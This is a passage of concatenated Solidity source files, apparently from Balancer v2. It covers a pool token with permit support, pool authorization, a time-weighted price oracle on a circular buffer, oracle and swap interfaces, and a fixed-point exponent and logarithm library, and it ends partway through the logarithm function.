<http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../lib/math/Math.sol"; import "../lib/openzeppelin/IERC20.sol"; import "../lib/openzeppelin/IERC20Permit.sol"; import "../lib/openzeppelin/EIP712.sol"; /** * @title Highly opinionated token implementation * @author Balancer Labs * @dev * - Includes functions to increase and decrease allowance as a workaround * for the well-known issue with `approve`: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * - Allows for 'infinite allowance', where an allowance of 0xff..ff is not * decreased by calls to transferFrom * - Lets a token holder use `transferFrom` to send their own tokens, * without first setting allowance * - Emits 'Approval' events whenever allowance is changed by `transferFrom` */ contract BalancerPoolToken is IERC20, IERC20Permit, EIP712 { using Math for uint256; // State variables uint8 private constant _DECIMALS = 18; mapping(address => uint256) private _balance; mapping(address => mapping(address => uint256)) private _allowance; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address => uint256) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPE_HASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); // Function declarations constructor(string memory tokenName, string memory tokenSymbol) EIP712(tokenName, "1") { _name = tokenName; _symbol = tokenSymbol; } // External functions function allowance(address owner, address spender) external view override returns (uint256) { return _allowance[owner][spender]; } function balanceOf(address account) external view override returns (uint256) { return _balance[account]; } function approve(address spender, uint256 amount) external override returns (bool) { _setAllowance(msg.sender, spender, amount); return true; } function increaseApproval(address spender, uint256 amount) external returns (bool) { _setAllowance(msg.sender, spender, _allowance[msg.sender][spender].add(amount)); return true; } function decreaseApproval(address spender, uint256 amount) external returns (bool) { uint256 currentAllowance = _allowance[msg.sender][spender]; if (amount >= currentAllowance) { _setAllowance(msg.sender, spender, 0); } else { _setAllowance(msg.sender, spender, currentAllowance.sub(amount)); } return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { _move(msg.sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { uint256 currentAllowance = _allowance[sender][msg.sender]; _require(msg.sender == sender || currentAllowance >= amount, Errors.INSUFFICIENT_ALLOWANCE); _move(sender, recipient, amount); if (msg.sender != sender && currentAllowance != uint256(-1)) { // Because of the previous require, we know that if msg.sender != sender then currentAllowance >= amount _setAllowance(sender, msg.sender, currentAllowance - amount); } return true; } function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { // solhint-disable-next-line not-rely-on-time _require(block.timestamp <= deadline, Errors.EXPIRED_PERMIT); uint256 nonce = _nonces[owner]; bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPE_HASH, owner, spender, value, nonce, deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ecrecover(hash, v, r, s); _require((signer != address(0)) && (signer == owner), Errors.INVALID_SIGNATURE); _nonces[owner] = nonce + 1; _setAllowance(owner, spender, value); } // Public functions function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _DECIMALS; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function nonces(address owner) external view override returns (uint256) { return _nonces[owner]; } // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } // Internal functions function _mintPoolTokens(address recipient, uint256 amount) internal { _balance[recipient] = _balance[recipient].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0), recipient, amount); } function _burnPoolTokens(address sender, uint256 amount) internal { uint256 currentBalance = _balance[sender]; _require(currentBalance >= amount, Errors.INSUFFICIENT_BALANCE); _balance[sender] = currentBalance - amount; _totalSupply = _totalSupply.sub(amount); emit Transfer(sender, address(0), amount); } function _move( address sender, address recipient, uint256 amount ) internal { uint256 currentBalance = _balance[sender]; _require(currentBalance >= amount, Errors.INSUFFICIENT_BALANCE); // Prohibit transfers to the zero address to avoid confusion with the // Transfer event emitted by `_burnPoolTokens` _require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS); _balance[sender] = currentBalance - amount; _balance[recipient] = _balance[recipient].add(amount); emit Transfer(sender, recipient, amount); } // Private functions function _setAllowance( address owner, address spender, uint256 amount ) private { _allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../lib/helpers/Authentication.sol"; import "../vault/interfaces/IAuthorizer.sol"; import "./BasePool.sol"; /** * @dev Base authorization layer implementation for Pools. * * The owner account can call some of the permissioned functions - access control of the rest is delegated to the * Authorizer. Note that this owner is immutable: more sophisticated permission schemes, such as multiple ownership, * granular roles, etc., could be built on top of this by making the owner a smart contract. * * Access control of all other permissioned functions is delegated to an Authorizer. It is also possible to delegate * control of *all* permissioned functions to the Authorizer by setting the owner address to `_DELEGATE_OWNER`. */ abstract contract BasePoolAuthorization is Authentication { address private immutable _owner; address private constant _DELEGATE_OWNER = 0xBA1BA1ba1BA1bA1bA1Ba1BA1ba1BA1bA1ba1ba1B; constructor(address owner) { _owner = owner; } function getOwner() public view returns (address) { return _owner; } function getAuthorizer() external view returns (IAuthorizer) { return _getAuthorizer(); } function _canPerform(bytes32 actionId, address account) internal view override returns (bool) { if ((getOwner() != _DELEGATE_OWNER) && _isOwnerOnlyAction(actionId)) { // Only the owner can perform "owner only" actions, unless the owner is delegated. return msg.sender == getOwner(); } else { // Non-owner actions are always processed via the Authorizer, as "owner only" ones are when delegated. return _getAuthorizer().canPerform(actionId, account, address(this)); } } function _isOwnerOnlyAction(bytes32 actionId) private view returns (bool) { // This implementation hardcodes the setSwapFeePercentage action identifier. return actionId == getActionId(BasePool.setSwapFeePercentage.selector); } function _getAuthorizer() internal view virtual returns (IAuthorizer); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./Buffer.sol"; import "./Samples.sol"; import "../../lib/helpers/BalancerErrors.sol"; import "./IWeightedPoolPriceOracle.sol"; import "../IPriceOracle.sol"; /** * @dev This module allows Pools to access historical pricing information. * * It uses a 1024 long circular buffer to store past data, where the data within each sample is the result of * accumulating live data for no more than two minutes. Therefore, assuming the worst case scenario where new data is * updated in every single block, the oldest samples in the buffer (and therefore largest queryable period) will * be slightly over 34 hours old. * * Usage of this module requires the caller to keep track of two variables: the latest circular buffer index, and the * timestamp when the index last changed. */ contract PoolPriceOracle is IWeightedPoolPriceOracle { using Buffer for uint256; using Samples for bytes32; // Each sample in the buffer accumulates information for up to 2 minutes. This is simply to reduce the size of the // buffer: small time deviations will not have any significant effect. // solhint-disable not-rely-on-time uint256 private constant _MAX_SAMPLE_DURATION = 2 minutes; // We use a mapping to simulate an array: the buffer won't grow or shrink, and since we will always use valid // indexes using a mapping saves gas by skipping the bounds checks. mapping(uint256 => bytes32) internal _samples; function getSample(uint256 index) external view override returns ( int256 logPairPrice, int256 accLogPairPrice, int256 logBptPrice, int256 accLogBptPrice, int256 logInvariant, int256 accLogInvariant, uint256 timestamp ) { _require(index < Buffer.SIZE, Errors.ORACLE_INVALID_INDEX); bytes32 sample = _getSample(index); return sample.unpack(); } function getTotalSamples() external pure override returns (uint256) { return Buffer.SIZE; } /** * @dev Processes new price and invariant data, updating the latest sample or creating a new one. * * Receives the new logarithms of values to store: `logPairPrice`, `logBptPrice` and `logInvariant`, as well the * index of the latest sample and the timestamp of its creation. * * Returns the index of the latest sample. If different from `latestIndex`, the caller should also store the * timestamp, and pass it on future calls to this function. */ function _processPriceData( uint256 latestSampleCreationTimestamp, uint256 latestIndex, int256 logPairPrice, int256 logBptPrice, int256 logInvariant ) internal returns (uint256) { // Read latest sample, and compute the next one by updating it with the newly received data. bytes32 sample = _getSample(latestIndex).update(logPairPrice, logBptPrice, logInvariant, block.timestamp); // We create a new sample if more than _MAX_SAMPLE_DURATION seconds have elapsed since the creation of the // latest one. In other words, no sample accumulates data over a period larger than _MAX_SAMPLE_DURATION. bool newSample = block.timestamp - latestSampleCreationTimestamp >= _MAX_SAMPLE_DURATION; latestIndex = newSample ? latestIndex.next() : latestIndex; // Store the updated or new sample. _samples[latestIndex] = sample; return latestIndex; } /** * @dev Returns the instant value for `variable` in the sample pointed to by `index`. */ function _getInstantValue(IPriceOracle.Variable variable, uint256 index) internal view returns (int256) { bytes32 sample = _getSample(index); _require(sample.timestamp() > 0, Errors.ORACLE_NOT_INITIALIZED); return sample.instant(variable); } /** * @dev Returns the value of the accumulator for `variable` `ago` seconds ago. `latestIndex` must be the index of * the latest sample in the buffer. * * Reverts under the following conditions: * - if the buffer is empty. * - if querying past information and the buffer has not been fully initialized. * - if querying older information than available in the buffer. Note that a full buffer guarantees queries for the * past 34 hours will not revert. * * If requesting information for a timestamp later than the latest one, it is extrapolated using the latest * available data. * * When no exact information is available for the requested past timestamp (as usually happens, since at most one * timestamp is stored every two minutes), it is estimated by performing linear interpolation using the closest * values. This process is guaranteed to complete performing at most 10 storage reads. */ function _getPastAccumulator( IPriceOracle.Variable variable, uint256 latestIndex, uint256 ago ) internal view returns (int256) { // `ago` must not be before the epoch. _require(block.timestamp >= ago, Errors.ORACLE_INVALID_SECONDS_QUERY); uint256 lookUpTime = block.timestamp - ago; bytes32 latestSample = _getSample(latestIndex); uint256 latestTimestamp = latestSample.timestamp(); // The latest sample only has a non-zero timestamp if no data was ever processed and stored in the buffer. _require(latestTimestamp > 0, Errors.ORACLE_NOT_INITIALIZED); if (latestTimestamp <= lookUpTime) { // The accumulator at times ahead of the latest one are computed by extrapolating the latest data. This is // equivalent to the instant value not changing between the last timestamp and the look up time. // We can use unchecked arithmetic since the accumulator can be represented in 53 bits, timestamps in 31 // bits, and the instant value in 22 bits. uint256 elapsed = lookUpTime - latestTimestamp; return latestSample.accumulator(variable) + (latestSample.instant(variable) * int256(elapsed)); } else { // The look up time is before the latest sample, but we need to make sure that it is not before the oldest // sample as well. // Since we use a circular buffer, the oldest sample is simply the next one. uint256 oldestIndex = latestIndex.next(); { // Local scope used to prevent stack-too-deep errors. bytes32 oldestSample = _getSample(oldestIndex); uint256 oldestTimestamp = oldestSample.timestamp(); // For simplicity's sake, we only perform past queries if the buffer has been fully initialized. This // means the oldest sample must have a non-zero timestamp. _require(oldestTimestamp > 0, Errors.ORACLE_NOT_INITIALIZED); // The only remaining condition to check is for the look up time to be between the oldest and latest // timestamps. _require(oldestTimestamp <= lookUpTime, Errors.ORACLE_QUERY_TOO_OLD); } // Perform binary search to find nearest samples to the desired timestamp. (bytes32 prev, bytes32 next) = _findNearestSample(lookUpTime, oldestIndex); // `next`'s timestamp is guaranteed to be larger than `prev`'s, so we can skip checked arithmetic. uint256 samplesTimeDiff = next.timestamp() - prev.timestamp(); if (samplesTimeDiff > 0) { // We estimate the accumulator at the requested look up time by interpolating linearly between the // previous and next accumulators. // We can use unchecked arithmetic since the accumulators can be represented in 53 bits, and timestamps // in 31 bits. int256 samplesAccDiff = next.accumulator(variable) - prev.accumulator(variable); uint256 elapsed = lookUpTime - prev.timestamp(); return prev.accumulator(variable) + ((samplesAccDiff * int256(elapsed)) / int256(samplesTimeDiff)); } else { // Rarely, one of the samples will have the exact requested look up time, which is indicated by `prev` // and `next` being the same. In this case, we simply return the accumulator at that point in time. return prev.accumulator(variable); } } } /** * @dev Finds the two samples with timestamps before and after `lookUpDate`. If one of the samples matches exactly, * both `prev` and `next` will be it. `offset` is the index of the oldest sample in the buffer. * * Assumes `lookUpDate` is greater or equal than the timestamp of the oldest sample, and less or equal than the * timestamp of the latest sample. */ function _findNearestSample(uint256 lookUpDate, uint256 offset) internal view returns (bytes32 prev, bytes32 next) { // We're going to perform a binary search in the circular buffer, which requires it to be sorted. To achieve // this, we offset all buffer accesses by `offset`, making the first element the oldest one. // Auxiliary variables in a typical binary search: we will look at some value `mid` between `low` and `high`, // periodically increasing `low` or decreasing `high` until we either find a match or determine the element is // not in the array. uint256 low = 0; uint256 high = Buffer.SIZE - 1; uint256 mid; // If the search fails and no sample has a timestamp of `lookUpDate` (as is the most common scenario), `sample` // will be either the sample with the largest timestamp smaller than `lookUpDate`, or the one with the smallest // timestamp larger than `lookUpDate`. bytes32 sample; uint256 sampleTimestamp; while (low <= high) { // Mid is the floor of the average. uint256 midWithoutOffset = (high + low) / 2; // Recall that the buffer is not actually sorted: we need to apply the offset to access it in a sorted way. mid = midWithoutOffset.add(offset); sample = _getSample(mid); sampleTimestamp = sample.timestamp(); if (sampleTimestamp < lookUpDate) { // If the mid sample is bellow the look up date, then increase the low index to start from there. low = midWithoutOffset + 1; } else if (sampleTimestamp > lookUpDate) { // If the mid sample is above the look up date, then decrease the high index to start from there. // We can skip checked arithmetic: it is impossible for `high` to ever be 0, as a scenario where `low` // equals 0 and `high` equals 1 would result in `low` increasing to 1 in the previous `if` clause. high = midWithoutOffset - 1; } else { // sampleTimestamp == lookUpDate // If we have an exact match, return the sample as both `prev` and `next`. return (sample, sample); } } // In case we reach here, it means we didn't find exactly the sample we where looking for. return sampleTimestamp < lookUpDate ? (sample, _getSample(mid.next())) : (_getSample(mid.prev()), sample); } /** * @dev Returns the sample that corresponds to a given `index`. * * Using this function instead of accessing storage directly results in denser bytecode (since the storage slot is * only computed here). */ function _getSample(uint256 index) internal view returns (bytes32) { return _samples[index]; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; library Buffer { // The buffer is a circular storage structure with 1024 slots. // solhint-disable-next-line private-vars-leading-underscore uint256 internal constant SIZE = 1024; /** * @dev Returns the index of the element before the one pointed by `index`. */ function prev(uint256 index) internal pure returns (uint256) { return sub(index, 1); } /** * @dev Returns the index of the element after the one pointed by `index`. */ function next(uint256 index) internal pure returns (uint256) { return add(index, 1); } /** * @dev Returns the index of an element `offset` slots after the one pointed by `index`. */ function add(uint256 index, uint256 offset) internal pure returns (uint256) { return (index + offset) % SIZE; } /** * @dev Returns the index of an element `offset` slots before the one pointed by `index`. */ function sub(uint256 index, uint256 offset) internal pure returns (uint256) { return (index + SIZE - offset) % SIZE; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./IBasePool.sol"; /** * @dev Pool contracts with the MinimalSwapInfo or TwoToken specialization settings should implement this interface. * * This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool. * Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will grant * to the pool in a 'given out' swap. * * This can often be implemented by a `view` function, since many pricing algorithms don't need to track state * changes in swaps. However, contracts implementing this in non-view functions should check that the caller is * indeed the Vault. */ interface IMinimalSwapInfoPool is IBasePool { function onSwap( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) external returns (uint256 amount); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @dev Interface for querying historical data from a Pool that can be used as a Price Oracle. * * This lets third parties retrieve average prices of tokens held by a Pool over a given period of time, as well as the * price of the Pool share token (BPT) and invariant. Since the invariant is a sensible measure of Pool liquidity, it * can be used to compare two different price sources, and choose the most liquid one. * * Once the oracle is fully initialized, all queries are guaranteed to succeed as long as they require no data that * is not older than the largest safe query window. */ interface IPriceOracle { // The three values that can be queried: // // - PAIR_PRICE: the price of the tokens in the Pool, expressed as the price of the second token in units of the // first token. For example, if token A is worth $2, and token B is worth $4, the pair price will be 2.0. // Note that the price is computed *including* the tokens decimals. This means that the pair price of a Pool with // DAI and USDC will be close to 1.0, despite DAI having 18 decimals and USDC 6. // // - BPT_PRICE: the price of the Pool share token (BPT), in units of the first token. // Note that the price is computed *including* the tokens decimals. This means that the BPT price of a Pool with // USDC in which BPT is worth $5 will be 5.0, despite the BPT having 18 decimals and USDC 6. // // - INVARIANT: the value of the Pool's invariant, which serves as a measure of its liquidity. enum Variable { PAIR_PRICE, BPT_PRICE, INVARIANT } /** * @dev Returns the time average weighted price corresponding to each of `queries`. Prices are represented as 18 * decimal fixed point values. */ function getTimeWeightedAverage(OracleAverageQuery[] memory queries) external view returns (uint256[] memory results); /** * @dev Returns latest sample of `variable`. Prices are represented as 18 decimal fixed point values. */ function getLatest(Variable variable) external view returns (uint256); /** * @dev Information for a Time Weighted Average query. * * Each query computes the average over a window of duration `secs` seconds that ended `ago` seconds ago. For * example, the average over the past 30 minutes is computed by settings secs to 1800 and ago to 0. If secs is 1800 * and ago is 1800 as well, the average between 60 and 30 minutes ago is computed instead. */ struct OracleAverageQuery { Variable variable; uint256 secs; uint256 ago; } /** * @dev Returns largest time window that can be safely queried, where 'safely' means the Oracle is guaranteed to be * able to produce a result and not revert. * * If a query has a non-zero `ago` value, then `secs + ago` (the oldest point in time) must be smaller than this * value for 'safe' queries. */ function getLargestSafeQueryWindow() external view returns (uint256); /** * @dev Returns the accumulators corresponding to each of `queries`. */ function getPastAccumulators(OracleAccumulatorQuery[] memory queries) external view returns (int256[] memory results); /** * @dev Information for an Accumulator query. * * Each query estimates the accumulator at a time `ago` seconds ago. */ struct OracleAccumulatorQuery { Variable variable; uint256 ago; } } // SPDX-License-Identifier: MIT // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated // documentation files (the “Software”), to deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the // Software. // THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE // WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR // COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /* solhint-disable */ /** * @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument). * * Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural * exponentiation and logarithm (where the base is Euler's number). * * @author Fernando Martinelli - @fernandomartinelli * @author Sergio Yuhjtman - @sergioyuhjtman * @author Daniel Fernandez - @dmf7z */ library LogExpMath { // All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying // two numbers, and multiply by ONE when dividing them. // All arguments and return values are 18 decimal fixed point numbers. int256 constant ONE_18 = 1e18; // Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the // case of ln36, 36 decimals. int256 constant ONE_20 = 1e20; int256 constant ONE_36 = 1e36; // The domain of natural exponentiation is bound by the word size and number of decimals used. // // Because internally the result will be stored using 20 decimals, the largest possible result is // (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221. // The smallest possible result is 10^(-18), which makes largest negative argument // ln(10^(-18)) = -41.446531673892822312. // We use 130.0 and -41.0 to have some safety margin. int256 constant MAX_NATURAL_EXPONENT = 130e18; int256 constant MIN_NATURAL_EXPONENT = -41e18; // Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point // 256 bit integer. int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17; int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17; uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20); // 18 decimal constants int256 constant x0 = 128000000000000000000; // 2ˆ7 int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals) int256 constant x1 = 64000000000000000000; // 2ˆ6 int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals) // 20 decimal constants int256 constant x2 = 3200000000000000000000; // 2ˆ5 int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2) int256 constant x3 = 1600000000000000000000; // 2ˆ4 int256 constant a3 = 888611052050787263676000000; // eˆ(x3) int256 constant x4 = 800000000000000000000; // 2ˆ3 int256 constant a4 = 298095798704172827474000; // eˆ(x4) int256 constant x5 = 400000000000000000000; // 2ˆ2 int256 constant a5 = 5459815003314423907810; // eˆ(x5) int256 constant x6 = 200000000000000000000; // 2ˆ1 int256 constant a6 = 738905609893065022723; // eˆ(x6) int256 constant x7 = 100000000000000000000; // 2ˆ0 int256 constant a7 = 271828182845904523536; // eˆ(x7) int256 constant x8 = 50000000000000000000; // 2ˆ-1 int256 constant a8 = 164872127070012814685; // eˆ(x8) int256 constant x9 = 25000000000000000000; // 2ˆ-2 int256 constant a9 = 128402541668774148407; // eˆ(x9) int256 constant x10 = 12500000000000000000; // 2ˆ-3 int256 constant a10 = 113314845306682631683; // eˆ(x10) int256 constant x11 = 6250000000000000000; // 2ˆ-4 int256 constant a11 = 106449445891785942956; // eˆ(x11) /** * @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent. * * Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`. */ function pow(uint256 x, uint256 y) internal pure returns (uint256) { if (y == 0) { // We solve the 0^0 indetermination by making it equal one. return uint256(ONE_18); } if (x == 0) { return 0; } // Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to // arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means // x^y = exp(y * ln(x)). // The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range. _require(x < 2**255, Errors.X_OUT_OF_BOUNDS); int256 x_int256 = int256(x); // We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In // both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end. // This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range. _require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS); int256 y_int256 = int256(y); int256 logx_times_y; if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) { int256 ln_36_x = _ln_36(x_int256); // ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just // bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal // multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the // (downscaled) last 18 decimals. logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18); } else { logx_times_y = _ln(x_int256) * y_int256; } logx_times_y /= ONE_18; // Finally, we compute exp(y * ln(x)) to arrive at x^y _require( MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT, Errors.PRODUCT_OUT_OF_BOUNDS ); return uint256(exp(logx_times_y)); } /** * @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent. * * Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`. */ function exp(int256 x) internal pure returns (int256) { _require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT); if (x < 0) { // We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it // fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT). // Fixed point division requires multiplying by ONE_18. return ((ONE_18 * ONE_18) / exp(-x)); } // First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n, // where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7 // because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the // decomposition. // At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this // decomposition, which will be lower than the smallest x_n. // exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1. // We mutate x by subtracting x_n, making it the remainder of the decomposition. // The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause // intermediate overflows. Instead we store them as plain integers, with 0 decimals. // Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the // decomposition. // For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct // it and compute the accumulated product. int256 firstAN; if (x >= x0) { x -= x0; firstAN = a0; } else if (x >= x1) { x -= x1; firstAN = a1; } else { firstAN = 1; // One with no decimal places } // We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the // smaller terms. x *= 100; // `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point // one. Recall that fixed point multiplication requires dividing by ONE_20. int256 product = ONE_20; if (x >= x2) { x -= x2; product = (product * a2) / ONE_20; } if (x >= x3) { x -= x3; product = (product * a3) / ONE_20; } if (x >= x4) { x -= x4; product = (product * a4) / ONE_20; } if (x >= x5) { x -= x5; product = (product * a5) / ONE_20; } if (x >= x6) { x -= x6; product = (product * a6) / ONE_20; } if (x >= x7) { x -= x7; product = (product * a7) / ONE_20; } if (x >= x8) { x -= x8; product = (product * a8) / ONE_20; } if (x >= x9) { x -= x9; product = (product * a9) / ONE_20; } // x10 and x11 are unnecessary here since we have high enough precision already. // Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series // expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!). int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places. int256 term; // Each term in the sum, where the nth term is (x^n / n!). // The first term is simply x. term = x; seriesSum += term; // Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number, // multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not. term = ((term * x) / ONE_20) / 2; seriesSum += term; term = ((term * x) / ONE_20) / 3; seriesSum += term; term = ((term * x) / ONE_20) / 4; seriesSum += term; term = ((term * x) / ONE_20) / 5; seriesSum += term; term = ((term * x) / ONE_20) / 6; seriesSum += term; term = ((term * x) / ONE_20) / 7; seriesSum += term; term = ((term * x) / ONE_20) / 8; seriesSum += term; term = ((term * x) / ONE_20) / 9; seriesSum += term; term = ((term * x) / ONE_20) / 10; seriesSum += term; term = ((term * x) / ONE_20) / 11; seriesSum += term; term = ((term * x) / ONE_20) / 12; seriesSum += term; // 12 Taylor terms are sufficient for 18 decimal precision. // We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor // approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply // all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication), // and then drop two digits to return an 18 decimal value. return (((product * seriesSum) / ONE_20) * firstAN) / 100; } /** * @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument. */ function log(int256 arg, int256 base) internal pure returns (int256) { // This performs a simple base change: log(arg, base) = ln(arg) / ln(base). // Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by // upscaling. int256 logBase; if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) { logBase = _ln_36(base); } else { logBase = _ln(base) * ONE_18; } int256 logArg; if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) { logArg = _ln_36(arg); } else { logArg = _ln(arg) * ONE_18; } // When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places return (logArg * ONE_18) / logBase; } /** * @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument. */ function ln(int256 a) internal pure returns (int256) { // The real natural logarithm is not defined for negative numbers or zero. _require(a > 0, Errors.OUT_OF_BOUNDS); if (LN_36_LOWER_BOUND < a && a < 